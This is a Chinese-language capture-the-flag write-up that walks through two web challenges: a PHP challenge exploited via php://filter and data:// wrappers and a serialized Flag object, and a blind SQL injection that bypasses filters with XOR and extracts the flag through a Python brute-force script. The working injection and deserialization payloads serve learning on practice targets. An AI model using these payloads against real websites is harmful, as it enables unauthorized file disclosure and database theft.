[ZJCTF 2019]NiZhuanSiWei

看到unserialize()函数觉得是反序列化的题,但是没有看到class的定义。作者这边提示了useless.php,那就用filter伪协议读一下看看。?file=php://filter/read=convert.base64-encode/resource=useless.php,没有反应,忘记了前面text也要绕过。
text的值可以用data伪协议输入,?text=data:text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
data伪协议就是把一些体量比较小的数据直接嵌入在页面里,而不使用外部链接。data:text/plain是嵌入文本,所以下图可以看到welcome to the zjctf直接显示在页面上。网上讲这个伪协议的文章很少,我只找到一篇,也不知道是不是一手的。https://www.jb51.net/css/41981.html

网上找一个base64反解码一下
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
就是构造一个反序列化的字符串,这很简单,我之前专门有一篇文章讲这个的。
最后的payload是
text=data:text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
flag查看源代码即可
[CISCN2019 华北赛区 Day2 Web1]Hack World

一道SQL注入的题,1'会报错,说明不是单引号闭合,1"回显SQL Injection Checked,说明双引号被过滤了。多测试几下发觉and,or,#都被过滤了,好家伙。
网上查了一下wp这里用的是异或判断^,1^1^1有回显(就是输入1的结果),1^0^1显示错误
payload是1^(ascii(substr((select(flag)from(flag)),i,1))>x)^1。解释一下,substr函数是从某个字符串的一个指定位置复制指定长度的子串。比如我们要定位flag的第1个字母,就是substr((select(flag)from(flag)),1,1,继续第2个字母,就是substr((select(flag)from(flag)),2,1。x是一个可变量,通过不断与x比较的返回结果确定flag每一位字母的大小。
import requests
url = "http://web43.buuoj.cn/index.php"
result = ''
for i in range(1, 38):
for j in range(0, 256):
payload = '1^(cot(ascii(substr((select(flag)from(flag)),' + str(i) + ',1))>' + str(j) + '))^1=1'
print(payload)
r = requests.post(url, data = {'id': payload})
if r.text.find('girl') == -1:
result += chr(j)
print(j)
break
print(result)
抄了一下师傅的脚本,但是每次运行出来结果都不一样,而且还会有没爆出来的位,不过学习一下脚本的思路也是很好的。

本文介绍了两道CTF比赛题目,一题涉及PHP反序列化,利用filter伪协议和data伪协议读取文件解密flag。另一题是SQL注入,通过异或判断绕过过滤,利用payload获取flag。文章包含了解题过程和部分Python脚本。
&spm=1001.2101.3001.5002&articleId=115295802&d=1&t=3&u=08d91c5d74db4182bb5818f508c455cd)
1万+

被折叠的 条评论
为什么被折叠?



